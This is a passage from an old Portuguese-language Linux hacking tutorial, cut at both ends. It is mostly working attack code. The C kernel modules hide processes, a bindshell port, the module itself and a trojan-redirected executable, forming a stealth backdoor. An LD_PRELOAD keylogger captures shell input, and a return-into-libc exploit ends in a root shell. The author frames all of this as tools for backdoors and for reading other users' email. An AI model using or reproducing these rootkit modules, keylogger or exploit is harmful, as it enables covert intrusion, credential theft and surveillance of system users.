getdents e esconder o diretorio onde ele se encontra, ou mesmo melhorar o LKM anterior para esconder mais de um arquivo.No meu Slackware 2.2.13 eu nao consegui unir ambos num LKM soh(enganar __NR_open e __NR_getdents de uma soh vez), muitos problemas com os headers, mas separadamente deu blz. Vimos entao que eh possivel esconder um arquivo ou diretorio, vamos entao ver como se esconde um processo. 5.12.3. - Escondendo um Processo ---------------------------------- Esconder um processo requer um pouco mais de bits de conhecimento em Linux, C e LKM.O melhor modo que eu acho eh criar um programa que interaja com o LKM, atraves do envio de sinais previamente definidos,o LKM saberah o que estamos querendo e executarah as instrucoes necessarias. Abaixo segue o codigo do LKM responsavel pela ocultacao de desocultacao de um PID: ----------------------------- esconde_ps.c ------------------------------ /* LKM para esconder um processo pai e seus filhos. Desenvolvido por Nash Leon vulgo coracaodeleao. nashleon@yahoo.com.br Feito para kernel 2.2.13 (Slackware 7.0) Baseado no tutorial de LKM da THC. http://www.infowar.co.uk/thc/ */ #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include /* Abaixo segue PF_INVISIBLE para esconder um PID, OCULTA e DESOCULTA eh o nosso 'mando' para o LKM.Defina o numero que desejar, de preferencia alto. */ #define PF_INVISIBLE 0x10000000 #define OCULTA 29 #define DESOCULTA 30 extern void* sys_call_table[]; static int errno; /* P/ pegar os systemcalls normais */ static int (*original_kill)(pid_t, int); int (*original_getdents) (uint, struct dirent *, uint); static pid_t (*original_fork)(struct pt_regs); static int hacked_getdents(unsigned int, struct dirent *, unsigned int); static int meu_atoi(char *); static int escondendo(pid_t); static int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) { unsigned int tmp, n; int proc = 0, t; struct inode *dinode; struct dirent *dirp_kern, *p_dk; if(!(tmp = (*original_getdents) (fd, dirp, count))) return -errno; /* Macros de checagem de cache */ #ifdef __LINUX_DCACHE_H dinode = current->files->fd[fd]->f_dentry->d_inode; #else dinode = current->files->fd[fd]->f_inode; #endif if(dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1) proc = 1; dirp_kern = (struct dirent *) kmalloc(tmp, GFP_KERNEL); copy_from_user(dirp_kern, dirp, tmp); p_dk = dirp_kern; t = tmp; while (t > 0) { n = p_dk->d_reclen; t -= n; if(proc && escondendo(meu_atoi(p_dk->d_name))) { if (t != 0) memmove(p_dk, (char *) p_dk + p_dk->d_reclen, t); else p_dk->d_off = 1024; tmp -= n; } if (p_dk->d_reclen == 0) { tmp -= t; t = 0; } if (t != 0) p_dk = (struct dirent *) ((char *) p_dk + p_dk->d_reclen); } copy_to_user(dirp, dirp_kern, tmp); kfree(dirp_kern); return tmp; } static pid_t hacked_fork(struct pt_regs regs) { pid_t pid; int hideit; struct task_struct *t = current; hideit = escondendo(current->pid); pid = (*original_fork)(regs); do { if(t->pid == pid) break; t = t->next_task; } while(t != current); if(t->pid == pid && hideit) t->flags |= PF_INVISIBLE; return pid; } static int hacked_kill(pid_t pid, int sinal) { int ret; struct task_struct *t = current; /* Abaixo faz comparacao do signal desejado */ if(sinal != OCULTA && sinal != DESOCULTA){ if((ret = (*original_kill)(pid, sinal)) == -1) return -errno; return ret; } do { if(t->pid == pid) break; t = t->next_task; } while(t != current); if(t->pid != pid) return -ESRCH; switch(sinal) { case OCULTA: t->flags |= PF_INVISIBLE; break; case DESOCULTA: t->flags &= ~PF_INVISIBLE; break; default: break; } return 0; } /* Converte string em numeros */ static int meu_atoi(char *string) { char *p; int ret = 0; int m = ret + 1; for(p = &string[strlen(string) - 1];p >= string;p--) { if(*p < '0' || *p > '9') return 0; ret += (*p - '0') * m; m *= 10; } return ret; } static int escondendo(pid_t pid) { struct task_struct *t = current; do { if(t->pid == pid) break; t = t->next_task; } while(t != current); if(t->pid != pid) return 0; return (t->flags & PF_INVISIBLE); } int init_module(void) { original_getdents = sys_call_table[__NR_getdents]; original_fork = sys_call_table[__NR_fork]; original_kill = sys_call_table[__NR_kill]; sys_call_table[__NR_getdents] = hacked_getdents; sys_call_table[__NR_fork] = hacked_fork; sys_call_table[__NR_kill] = hacked_kill; printk("<1>Modulo Carregado com Sucesso!!\n"); return 0; } void cleanup_module(void) { sys_call_table[__NR_getdents] = original_getdents; sys_call_table[__NR_fork] = original_fork; sys_call_table[__NR_kill] = original_kill; printk("<1>Modulo Descarregado com Sucesso!!\n"); } --------------------------------------------------------------------------- Este eh o LKM.Um pouco complicado, sem duvida, recomendo a voce procurar nos headers as declaracoes das estruturas envolvidas em cada processo. Lah voce pode contemplar mais ou menos como eh feito o esquema e como se passam os argumentos atuais.Mas este programa necessita de um simples .c que serah usado no user space para interagir com este LKM e esconder o processo que desejarmos.Abaixo segue um exemplo de um programa para isso: ---------------------------- inter_esconde.c ---------------------------- /* PROGRAMA EXECUTOR USADO EM CONJUNTO COM LKM PARA ESCONDER PROCESSOS EM EXECUCAO VIA PID. DESENVOLVIDO POR NASH LEON VULGO CORACAODELEAO. nashleon@yahoo.com.br THAKS UNSEKURITY TEAM. http://unsekurity.virtualave.net/ */ #include #include #include #include #include #include #define OCULTA 29 #define DESOCULTA 30 void uso(char *nome); void uso(char *nome){ system("clear"); printf("\nUso: %s PID \n\n",nome); printf("Onde:\n"); printf("PID -> Eh o numero do processo que voce quer esconder.\n"); printf("on -> Esconde o processo.\n"); printf("off -> Torna o processo escondido ao seu estado normal.\n\n"); exit(0); } int main(int argc, char *argv[]){ if(argc < 3){ uso(argv[0]); } if(!strcmp(argv[2],"on")){ kill(atoi(argv[1]), OCULTA); return 0; } if(!strcmp(argv[2],"off")){ kill(atoi(argv[1]), DESOCULTA); return 0; } fprintf(stderr,"Erro: Check a Sintaxe e o PID corretamente.\n"); return 0; } ------------------------------------------------------------------------ Nao tem muito segredo.A interacao ocorre atraves de um kill() seguido dos argumentos pre-definidos. Compile o lkm normalmente, em seguida o .c e escolha um processo qualquer via 'ps aux' por exemplo.Carregue o lkm em seguida use o .c usando como argumento o PID do processo que voce quer ocultar seguido de 'on' para esconder, e depois use 'off' para desocultar.Consegue contemplar esquemas para isso??? Voce pode pensar em esconder uma backdoor, creio que este esquema eh muito eficiente, mas pode ser melhorado, use sua imaginacao! 5.12.4 - Fugindo de netstat ---------------------------- Muitos administradores de redes confiam demasiadamente no comando 'netstat' para denunciar uma backdoor do tipo bindshell.No item anterior vimos como esconder um processo de comandos como ps, pstree, top e etc, agora iremos mais alem e veremos um exemplo de um LKM alem de esconder um PID, ele esconde uma porta aberta da visao de netstat. -------------------------- esconde_netstat.c ---------------------------- /* LKM para esconder um processo pai e seus filhos. Esconde de 'netstat' tambem. Desenvolvido por Nash Leon vulgo coracaodeleao. nashleon@yahoo.com.br Feito para kernel 2.2.13 (Slackware 7.0) Este modulo foi baseado no tutorial de LKM by THC. http://www.infowar.co.uk/thc/ */ #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include /* Defina abaixo os seus argumentos a a porta a ser ocultada */ #define PF_INVISIBLE 0x10000000 #define OCULTA 29 #define DESOCULTA 30 #define PROCESSO ":20000" extern void* sys_call_table[]; static int errno; /* P/ pegar os systemcalls normais */ static int (*original_kill)(pid_t, int); int (*original_getdents) (uint, struct dirent *, uint); static pid_t (*original_fork)(struct pt_regs); int (*original_write)(unsigned int, char *, size_t); static int hacked_write(unsigned int fd, char *buffer, size_t count); static int hacked_getdents(unsigned int, struct dirent *, unsigned int); static int meu_atoi(char *); static int escondendo(pid_t); static int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) { unsigned int tmp, n; int proc = 0, t; struct inode *dinode; struct dirent *dirp_kern, *p_dk; if(!(tmp = (*original_getdents) (fd, dirp, count))) return -errno; #ifdef __LINUX_DCACHE_H dinode = current->files->fd[fd]->f_dentry->d_inode; #else dinode = current->files->fd[fd]->f_inode; #endif if(dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1) proc = 1; dirp_kern = (struct dirent *) kmalloc(tmp, GFP_KERNEL); copy_from_user(dirp_kern, dirp, tmp); p_dk = dirp_kern; t = tmp; while (t > 0) { n = p_dk->d_reclen; t -= n; if(proc && escondendo(meu_atoi(p_dk->d_name))) { if (t != 0) memmove(p_dk, (char *) p_dk + p_dk->d_reclen, t); else p_dk->d_off = 1024; tmp -= n; } if (p_dk->d_reclen == 0) { tmp -= t; t = 0; } if (t != 0) p_dk = (struct dirent *) ((char *) p_dk + p_dk->d_reclen); } copy_to_user(dirp, dirp_kern, tmp); kfree(dirp_kern); return tmp; } static pid_t hacked_fork(struct pt_regs regs) { pid_t pid; int hideit; struct task_struct *t = current; hideit = escondendo(current->pid); pid = (*original_fork)(regs); do { if(t->pid == pid) break; t = t->next_task; } while(t != current); if(t->pid == pid && hideit) t->flags |= PF_INVISIBLE; return pid; } static int hacked_kill(pid_t pid, int sinal) { int ret; struct task_struct *t = current; /* Abaixo faz comparacao do signal desejado */ if(sinal != OCULTA && sinal != DESOCULTA){ if((ret = (*original_kill)(pid, sinal)) == -1) return -errno; return ret; } do { if(t->pid == pid) break; t = t->next_task; } while(t != current); if(t->pid != pid) return -ESRCH; switch(sinal) { case OCULTA: t->flags |= PF_INVISIBLE; break; case DESOCULTA: t->flags &= ~PF_INVISIBLE; break; default: break; } return 0; } static int meu_atoi(char *string) { char *p; int ret = 0; int m = ret + 1; for(p = &string[strlen(string) - 1];p >= string;p--) { if(*p < '0' || *p > '9') return 0; ret += (*p - '0') * m; m *= 10; } return ret; } static int escondendo(pid_t pid) { struct task_struct *t = current; do { if(t->pid == pid) break; t = t->next_task; } while(t != current); if(t->pid != pid) return 0; return (t->flags & PF_INVISIBLE); } int hacked_write(unsigned int fd, char *buffer, size_t count){ char tmp[1000]; if (strcmp(current->comm, "netstat") == 0 ) { memset(tmp, 0, sizeof(tmp)); copy_from_user(tmp, buffer, sizeof(tmp)-1); if(strstr(tmp,PROCESSO)) { return count; } } return original_write(fd, buffer, count); } int init_module(void) { original_getdents = sys_call_table[__NR_getdents]; original_fork = sys_call_table[__NR_fork]; original_kill = sys_call_table[__NR_kill]; original_write = sys_call_table[__NR_write]; sys_call_table[__NR_getdents] = hacked_getdents; sys_call_table[__NR_fork] = hacked_fork; sys_call_table[__NR_kill] = hacked_kill; sys_call_table[__NR_write] = hacked_write; printk("<1>Modulo Carregado com Sucesso!!\n"); return 0; } void cleanup_module(void) { sys_call_table[__NR_getdents] = original_getdents; sys_call_table[__NR_fork] = original_fork; sys_call_table[__NR_kill] = original_kill; sys_call_table[__NR_write] = original_write; printk("<1>Modulo Descarregado com Sucesso!!\n"); } ------------------------------------------------------------------------ Compile ele normalmente e teste com o .c do exemplo anterior, carregue uma backdoor do tipo bindshell na porta definida acima em 'PROCESSO' e verah que este LKM funciona perfeitamente.Se o administrador do sistema linux for inexperiente, ele dificilmente detectarah esta backdoor.Isso demonstra a eficiencia dos esquemas que envolvem LKM.Mas se o administrador da rede usar lsmod, ele verah o seu LKM e irah tentar remove-lo.Como fugir disso? 5.12.5 - Fugindo de lsmod e rmmod ---------------------------------- O pragmatic teorizou um esquema interessante para se esconder um LKM e torna-lo irremovivel, no entanto, o melhor esquema que eu vih foi o do Stealph em conjunto com o pessoal da teso.O adore implementa um esquema interessante e bastante simples para se esconder um LKM.Usando o LKM anterior, tudo que voce precisa fazer eh inserir o seguinte codigo no inicio da funcao 'init_module()': /* Abaixo segue esquema para esconder LKM */ struct module *modulo = &__this_module, *apagar = NULL; EXPORT_NO_SYMBOLS; /* Macro para nao exporta simbolo kernel */ apagar = modulo->next; /* Fazer tudo == NULL */ if (apagar) { int i; modulo->name = apagar->name; modulo->size = apagar->size; modulo->flags = apagar->flags; for (i = 0; i < GET_USE_COUNT(apagar)+1; i++) MOD_INC_USE_COUNT; modulo->next = apagar->next; } Se lembra do que aparece quando damos lsmod(Module,Size,Used By), o que o codigo faz acima eh tornar tudo nulo.Insira ele nos exemplos anteriores que fizemos e depois carregue-o.Verah que funciona perfeitamente.Voce pode criar um programa no user-space para interagir com ele para que ele possa afinal ser removido quando voce desejar, outro modo de remove-lo eh reiniciando o sistema.A uniao das 4 tecnicas jah vistas(esconder de ls, de ps, de netstat, de lsmod) pode representar uma boa Backdoor.Eu criei algo nesse sentido e voce pode baixa-la em: http://coracaodeleao.virtualave.net/private/sombria.1.0.tar.gz Eh uma versao inicial, mas bastante eficaz, nela segue um README e um Instala.sh onde voce pode obter mais informacoes sobre a mesma.Lembrando que ela soh somente para propositos educacionais, nao me responsabilizo pelo mau uso da mesma. 5.12.6 - Redirecionando um Executavel -------------------------------------- Ao meu ver, este eh um esquema interessante e vem dando muito trabalho aos administradores de rede.Digamos que exista um arquivo em /tmp/exec responsavel pela autenticacao de um servico, poderiamos criar um arquivo que faz a mesma coisa que ele e ainda captura os logins e senhas para nos, de nome /tmp/trojan por exemplo. No entanto, existem programas que detectam uma mudanca num arquivo, logo se simplesmente fizessemos 'cp /tmp/trojan /tmp/exec' esses programas detectariam e avisariam o administrador do sistema.LKM nos dah uma boa forma de passarmos por isso, simplesmente, redirecionando a execucao, ou seja, quando alguem executar /tmp/exec nos iremos breckar a execucao deste programa e redirecionar para a execucao de /tmp/trojan, sendo assim,nao tocaremos no programa original, dificultando a percepcao desses programas. Vejamos abaixo um LKM capaz de fazer isto: ----------------------------- redir_exec.c ------------------------------- /* SIMPLES LKM REDIRECIONADOR DE ARQUIVO EXECUTAVEL. DESENVOLVIDO POR NASH LEON VULGO CORACAODELEAO. nashleon@yahoo.com.br Thanks Unsekurity Team. http://unsekurity.virtualave.net/ Desenvolvido com base no tutorial da THC sobre LKM. http://www.infowar.co.uk/thc/ OBS: LKM PARA KERNEL 2.2.13 (SlackWare 7.0). Nao nos responsabilizamos pelo mau uso deste programa. Construido somente para propositos educacionais. */ #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include /* defina abaixo os dois arquivos a serem manipulados, o bom eh o arquivo original, e o mau eh o que nos queremos executar. */ #define BOM_ARQUIVO "/tmp/exec" #define MAU_ARQUIVO "/tmp/trojan" extern void* sys_call_table[]; int errno; int __NR_myexecve; static inline _syscall1(int, brk, void *, end_data_segment); int (*original_execve) (const char *, const char *[], const char *[]); int my_execve(const char *filename, const char *argv[], const char *envp[]) { long __res; __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve),"b"((long) (filename)), "c"((long) (argv)),"d"((long) (envp))); return (int) __res; } int hacked_execve(const char *filename, const char *argv[], const char *envp[]) { char *test; int ret, tmp; char *truc = BOM_ARQUIVO; /* arquivo que deveria ser executado */ char *nouveau = MAU_ARQUIVO; /* arquivo que serah executado */ unsigned long mmm; test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL); copy_from_user(test, filename, strlen(truc)); test[strlen(truc)] = '\0'; if (!strcmp(test, truc)){ kfree(test); mmm = current->mm->brk; ret = brk((void *) (mmm + 256)); if (ret < 0) return ret; copy_to_user((void *) (mmm + 2), nouveau, strlen(nouveau) + 1); ret = my_execve((char *) (mmm + 2), argv, envp); tmp = brk((void *) mmm); } else { kfree(test); ret = my_execve(filename, argv, envp); } return ret; } int init_module(void) { __NR_myexecve = 250; while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0) __NR_myexecve--; original_execve = sys_call_table[__NR_execve]; if (__NR_myexecve == 0) { sys_call_table[__NR_myexecve] = original_execve; sys_call_table[__NR_execve] = (void *) hacked_execve; printk("<1>Modulo Carregado com Sucesso!!\n"); } return 0; } void cleanup_module(void) { sys_call_table[__NR_execve]=original_execve; printk("<1>Modulo Descarregado com Sucesso!!\n"); } ------------------------------------------------------------------------ Este esquema eh muito eficaz, bem melhor do que voce usar um rootkit de 3 megas, que muda dezenas de arquivos e voce trabalhar alterando a execucao de apenas 1 ou 2, voce poderia ainda esconder este LKM de lsmod, tornando-o irremovivel durante uma sessao, com mais persistencia voce poderia carrega-lo sempre que o sistema fosse reinicializado, enfim, pense nos esquemas! Existem muitos outros esquemas como TTY HIJACKING, ENGANACAO COMPLETA E EFICAZ DE FIREWALLS, CRIACAO DE UM SISTEMA OPERACIONAL DO HACKER, etc.. Mas vou ficando por aqui, olhe os links que disponibilizo, se voce gosta de linux, eles representam um prato cheio.Outra coisa, cuidado com as ferramentas de log do sistema(syslog) e pense em esquemas para uma backdoor eficiente onde nem mesmo a recompilacao do kernel poderia retirar a backdoor de lah, procure informacoes sobre processos e esquemas interessantes usando LKM, muito cuidado com virus!! Recomendo a leitura do tutorial da the hackers choice, eh para kerneis antigas, mas as teorias sao atuais. ------------------ 6. Shared Library | ------------------ Esse item tambem eh voltado para o pessoal Newbie, se voce eh 'elite', nao leia. 6.1 - O que sao ---------------- Shared Library sao bibliotecas usadas para compartilhamento de algumas funcoes e etc..As vantagens de se usar isso sao varias, vao desde a reducao do uso da memoria ateh a diminuicao de codigos executaveis.Para um fucador, a implementacao dessa tecnica de programacao pode ser usada para intuitos diversos, demonstrarei alguns deles no decorrer deste tutorial. 6.2 - Algumas Funcoes ---------------------- O C nos dah algumas funcoes que sao usadas para manipular o carregamento dinamico de shared libraries.Veremos de forma basica, algumas delas abaixo. 6.2.1 - dlopen() ----------------- Essa funcao eh responsavel pelo carregamento de uma biblioteca dinamica. Sua sintaxe eh: #include void *dlopen (const char *filename, int flag); dlopen() carrega uma biblioteca dinamica do arquivo chamado pela string terminada nula "filename" e retorna um manuseio opaco para a biblioteca dinamica.Se filename nao eh um path absoluto, entao o arquivo eh procurado nas seguintes locacoes: + Uma lista de diretorios na variavel environment LD_LIBRARY; + A lista de bibliotecas especificas em /etc/ld.so.cache. + /usr/lib seguido de /lib. O filename eh um ponteiro nulo, entao o retorno de handle eh para o programa main. Os flags podem ser: RTLD_GLOBAL -> Usado para resolver referencias externas de bibliotecas. RTLD_LAZY -> Despreza resolucao de simbolos indefinidos quando codigo de uma biblioteca dinamica eh executado. RTLD_NOW -> Despreza resolucao de todos os simbolos antes de dlopen retornar. 6.2.2 - dlclose() ------------------ Esta funcao descarrega uma biblioteca compartilhada previamente carregada com dlopen().Sua Sintaxe eh: int dlclose (void *handle); Onde *handle eh justamente um ponteiro para dlopen.Exemplo de codigo Usando as duas funcoes: ----------------------------- shared1.c ------------------------------- /* Carrega e Descarrega uma Biblioteca Compartilhada */ #include #include #define LIB_PATH "/usr/lib/libc.so" main(){ void *handle; handle = dlopen(LIB_PATH, 1); dlclose(handle); } ------------------------------------------------------------------------ Compile e linke do seguinte modo: [localhost]# gcc -fPIC -c shared1.c [localhost]# ld -shared -o shared1.so shared.o -ldl Esse eh soh um esquema para voce ter uma simples ideia do que estah acontecendo.Voce carregou a biblioteca '/usr/lib/libc.so' que contem algumas milhares de funcoes e depois a descarregou.Geralmente, programas complexos compartilham codigos chamando essas bibliotecas.Uma vulnerabilidade em uma biblioteca como esta, afetaria todos os programas que compartilham dela, por isso, deve-se dar uma atencao especial e isto. Logo mais abaixo, veremos isso na pratica. 6.2.3 - dlsym() ---------------- Esta eh uma funcao interessante, ela serve para manuseio de uma biblioteca dinamica retornada por dlopen() e o nome do simbolo terminado nulo, retornando o endereco onde o simbolo eh carregado.Se ela nao encontra o simbolo, entao ela retorna NULL.Vamos analisar o codigo abaixo: --------------------------- shared2.c--------------------------------- #include /* Atencao no path abaixo */ #define PATH_MAT "/lib/libm.so.6" int main(int argc, char **argv) { void *handle = dlopen (PATH, RTLD_LAZY); double (*cosine)(double) = dlsym(handle, "cos"); printf ("%f\n", (*cosine)(90.0)); dlclose(handle); } ----------------------------------------------------------------------- Para compilar: # gcc -o shared2 shared2.c -ldl # ./shared2 -0.448074 O exemplo acima ilustra o calculo do cosseno de 90.0. Note que necessitamos usar um ponteiro para uma funcao: 'double (*cosine)(double)'; pois eh eh que aponta para a funcao 'cos'(no caso simbolo) da biblioteca compartilhada. 6.2.4 - dlerror() ------------------ Esta funcao eh usada para extrair erros que as rotinas de dlopen(), dlclose() e dlsyms() possam vir a ter.Sua Sintaxe: const char *dlerror(void); Vejamos o exemplo acima usando dlerror() para nos avisar se aparecer algum erro: ------------------------------- shared3.c ------------------------------- #include #include #define PATH "/lib/libm.so.6" int main(int argc, char **argv) { void *handle; double (*cosine)(double); char *error; handle = dlopen (PATH, RTLD_LAZY); if (!handle) { fputs (dlerror(), stderr); exit(1); } cosine = dlsym(handle, "cos"); if ((error = dlerror()) != NULL) { fputs(error, stderr); exit(1); } printf ("%f\n", (*cosine)(90.0)); dlclose(handle); } ------------------------------------------------------------------------ O programa acima estah sem erro, mas se tivesse algum erro nas funcoes dlopen() e dlsym() ele acusaria.Por exemplo, voce pode acrescentar um "B" antes de 'cos' e verah que ele acusarah erro: /lib/libm.so.6: undefined symbol: Bcos Isto pode vir a ser muito util na checagem de problemas. 6.3 - Tecnica de Redirecionamento ----------------------------------- Abaixo segue um codigo feito pelo halflife e descrito na phrack 51, o que este codigo faz eh logar tudo que eh digitado na shell. ---------------------------- tty_loger.c ------------------------------ /* TTY - LOGER by halflife. Desenvolvido por halflife, descrito na phrack 51-7. Alterado por Nash Leon vulgo coracaodeleao. nashleon@yahoo.com.br. Testado em: Conectiva Red Hat Linux 5.0 Slackware Linux 7.0 Para compilar: gcc -fPIC -c tty_loger.c Para linkar: ld -Bshareable -o tty_loger.so tty_loger.o -ldl ou ld -shared -o tty_loger.so tty_loger.o -ldl Carregue em uma environ e depois veja o que ele digitou no path definido: $ export LD_PRELOAD = /tmp/tty_loger.so */ #include #include #include #include #include #include #include #include #include /* Mude os PATHs abaixo caso necessite */ #define LIB_PATH "/usr/lib/libc.so.3.0" #define LOGDIR "/tmp/." int logfile = -1; static void createlog(void) { char buff[4096]; if(logfile != -1) return; memset(buff, 0, 4096); if(strlen(LOGDIR) > 4000) return; sprintf(buff, "%s/%d", LOGDIR, getuid()); logfile = open(buff, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR); return; } static void writeout(char c) { switch(c) { case '\n': case '\r': c = '\n'; write(logfile, &c, 1); break; case 27: break; default: write(logfile, &c, 1); } } ssize_t read(int fd, void *buf, size_t nbytes) { void *handle; ssize_t (*realfunc)(int, void *, size_t); int result; int i; char *c; char d; handle = dlopen(LIB_PATH, 1); if(!handle) return -1; realfunc = dlsym(handle, "read"); if(!realfunc) return -1; if(logfile < 0) createlog(); result = realfunc(fd, buf, nbytes); c = buf; if(isatty(fd)) { if(result > 0) for(i=0;i < result;i++) { d = c[i]; writeout(d); } } return result; } ----------------------------------------------------------------------- * Compile este programa da seguinte maneira: [localhost]# gcc -fPIC -c tty_loger.c * Linke-o usando um dos metodos abaixo: [localhost]# ld -Bshareable -o tty_loger.so tty_loger.o -ldl ou [localhost]# ld -shared -o tty_loger.so tty_loger.o -ldl * Para carrega-lo, carregue-o numa environ.Exemplo: [localhost]# export LD_PRELOAD = /tmp/tty_loger.so * Se quiser testar basta digitar '/bin/sh'. Se nao consegue contemplar esquemas para isso mano, leia abaixo: + Se voce possui acesso a um servidor NFS, voce pode inseri-lo dentro de .profile ou .bash_rc. + Conexoes Samba, idem acima. + Se voce obtem root num sistema pode definir o carregamento desta biblioteca compartilhada para todos, isso eh um prato cheio para voyerismo.:).. Pessoal que gosta de ler e-mails dos outros que o diga! 6.4 - Outros Esquemas ---------------------- O Redireconamento eh soh uma tecnica dentre diversas outras possiveis que envolvem as bibliotecas compartilhadas.Vamos ver alguns exemplos neste item. Vamos supor a seguinte biblioteca abaixo abaixo: --------------------------- shared_bug.c ---------------------------- #include #include #include int imprime_nome(char *nome){ char buffer[256]; strcpy(buffer,nome); return buffer; } ----------------------------------------------------------------------- Compile e linke ela normalmente: # gcc -fPIC -c shared_bug.c # ld -o shared shared_bug.so shared_bug.c -ldl Agora vamos construir um programa para carrega-la: ------------------------------- pro_sha.c ----------------------------- #include #include #include #include /* Atencao no PATH abaixo */ #define PATH_LIB "./shared_bug.so" #define ERRO -1 main(int argc, char *argv[]){ void *handle; int (*realfunc)(char *); if(argc < 2){ printf("Uso: %s \n",argv[0]); exit(0); } setuid(0); handle = dlopen(PATH_LIB, 1); if(handle < 0){ fprintf(stderr,"Erro na abertura na biblioteca!!\n"); exit(ERRO); } realfunc = dlsym(handle, "imprime_nome"); printf("%s\n",(*realfunc)(argv[1])); dlclose(handle); } ----------------------------------------------------------------------- Compile ele da sequinte forma e depois execute-o: # gcc -o pro_sha pro_sha.c -ldl # ./pro_sha NashLeon NashLeon Consegue contemplar o problema, amigo?? Pois vejamos abaixo: # ./pro_sha `perl -e 'print "A" x 600'` Segmentation fault Se uma biblioteca compartilha possui um bug, ela compartilha o bug tambem. Poderiamos redirecionar um exploit para a propria biblioteca, mas existem casos onde voce pode nao ter permissao.O que vimos foi uma condicao de 'buffer overflow', mas nos poderiamos ver tambem outros problemas, como Race Conditions, e etc.. Aih reside uma necessidade consideravel de saber o que sao e como procurar bugs em shared libraries.O perigo de se usar Bibliotecas Compartilhadas em programas complexos ou suid eh consideravel. Se um invasor conseguir permissao de escrita numa biblioteca compartilhada, as chances dele conseguir root no sistemas sao consideraveis.Dentre outras coisas, um invasor poderia introduzir codigo malicioso na biblioteca compartilhada, e se um programa suid root usasse a mesma, o sistema ja era! Ou mesmo forcar a execucao de um trojan jah inserido no sistema por qualquer usuario do mesmo, enfim, setar corretamente as permissoes eh um dever basico de um administrador de redes responsavel, mesmo que sua distribuicao Linux nao as sete corretamente. Buffer Overflows em Bibliotecas Compartilhadas podem ser mais simples de se exploitar do que num programa sem estar compartilhando uma biblioteca compartilhada, o lamagra descreveu isso perfeitamente em seu 'PROJETO OMEGA', abaixo segue um pouco desta tecnica.Se voce tem duvidas quanto a buffer overflows recomendo a leitura da primeira parte do meu Tutorial de Buffer Overflows que pode ser obtido na pagina do Unsekurity Team, lah eu disponibilizo varios links onde voce pode obter mais material sobre tudo isto. A Tecnica usada no Projeto Omega consiste em gerar um Buffer Overflow sem a necessidade de chutar offsets e/ou usar shellcodes.Basicamente ao inves do endereco de retorno apontar para o inicio do buffer ele apontarah para a funcao system, e se passarmos argumentos para ela, ela executarah.Mais detalhes sobre o funcionamento desta tecnica bem como sua teoria podem ser vistos na pagina do lamagra (http://bounce.to/~unah16 ou http://lamagra.seKure.de), pretendo em breve dar continuidade ao tutorial de shellcode e nele talvez eu coloque mais sobre esta tecnica. Vimos que o programa acima compartilha uma biblioteca que possui uma condicao de Buffer Overflow, logo podemos exploita-lo.Torne-o suid root para ilustrarmos melhor.Abaixo segue um exploit feito pelo proprio lamagra e que pode ser usado no nosso programa bugado: ---------------------------- exploit_shared.c ---------------------------- /* * The exploit * Finds the address of system() in libc. * Searches for "/bin/sh" in the neighbourhood of system(). * (System() uses that string) * Lamagra */ #include #include main(int argc, char **argv) { int x,size; char *buf; long addr,shell,exitaddy; void *handle; if(argc != 3){ printf("Uso: %s \n",argv[0]); exit(-1); } size = atoi(argv[1])+16; if((buf = malloc(size)) == NULL){ perror("can't allocate memory"); exit(-1); } handle = dlopen(NULL,RTLD_LAZY); addr = (long)dlsym(handle,"system"); printf("System() is at 0x%x\n",addr); if(!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || !(addr & 0xff000000)) { printf("system() contains a '0', sorry!"); exit(-1); } shell = addr; while(memcmp((void*)shell,"/bin/sh",8)) shell++; printf("\"/bin/sh\" is at 0x%x\n",shell); printf("print %s\n",shell); shell = addr; while(memcmp((void*)shell,"/bin/sh",8)) shell++; printf("\"/bin/sh\" is at 0x%x\n",shell); printf("print %s\n",shell); memset(buf,0x41,size); *(long *)&buf[size-16] = 0xbffffbbc; *(long *)&buf[size-12] = addr; *(long *)&buf[size-4] = shell; puts("Executing"); execl(argv[2],argv[2],buf,0x0); } ------------------------------------------------------------------------- Abaixo seguem os passos para exploitar: $ gcc -o exploit_shared exploit_shared.c -ldl $ ./exploit_shared 256 pro_sha System() is at 0x4005a6f8 "/bin/sh" is at 0x400f3866 print /bin/sh Executing sh-2.03# Como voce pode ver, funciona perfeitamente e eh um esquema muito interessante. Uma coisa deve ser dita,esse lamagra fez isso na 'marra', quando ele teorizou ninguem deu credito, quando ele lancou teorias a respeito no zine 'Core Zine' ninguem deu credito, agora que ele conseguiu realizar de forma efetiva todo mundo vem dizer que eh facil!! A mesma coisa com format bugs, passaram-se semanas e a comunidade de seguranca(vide bugtraq) sem saber o que estava acontecendo agora vem os 'elites' e dizem: "EH MUITO FACIL!!!"; :).Pode ir!! Enganam quem nao conhece a historia, creditos ao cara(lamagra) e aos que o ajudaram! Muitas teorias interessantes tem saido daqueles caras ultimamente. -------------- 7. TERMINANDO | -------------- Mais uma vez quero enfatizar que este tutorial eh basico, existem inumeras outras coisas para se aprender sobre os itens que descrevi.Pesquise e vah fundo que isto serah evidenciado.Talvez, num futuro proximo, eu de continuidade a este tutorial, talvez vendo em separado, talvez nao, soh o momento poderah dizer, pois nao conhecemos o dia de amanha.Espero ter evidenciado algumas coisas neste tutorial, tais como: * O PERIGO E O PODER DAS LKM; Para algum administrador de sistema que estiver lendo isto aqui, recomendo dar uma lida no tutorial da The Hackers Choice, existem algumas teorias e exemplos praticos que podem ajudar voce, alguns esquemas descritos alih podem ser PASSADOS, ou seja, nao sao eficazes, mas a implementacao daqueles esquemas pode vir a ser util para voce. * AS IMPLEMENTACAO BASICAS COM IPC; * PROBLEMAS SIMPLES COM ALGUMAS FUNCOES; * IMPLEMENTACOES BASICAS E PROBLEMAS COM BIBLIOTECAS COMPARTILHADAS; Enfim, o que vimos, eh sem duvida algo util, mas caberah a voce ir mais fundo nisso tudo.Abaixo seguem links e Referencias onde voce poderah achar mais material util sobre os temas abordados neste tutorial. 7.1. Links e Referencias ------------------------- * SOBRE A PARTE MANIFESTO: http://www.gnu.org/ -> GNU. http://www.eff.org/ -> 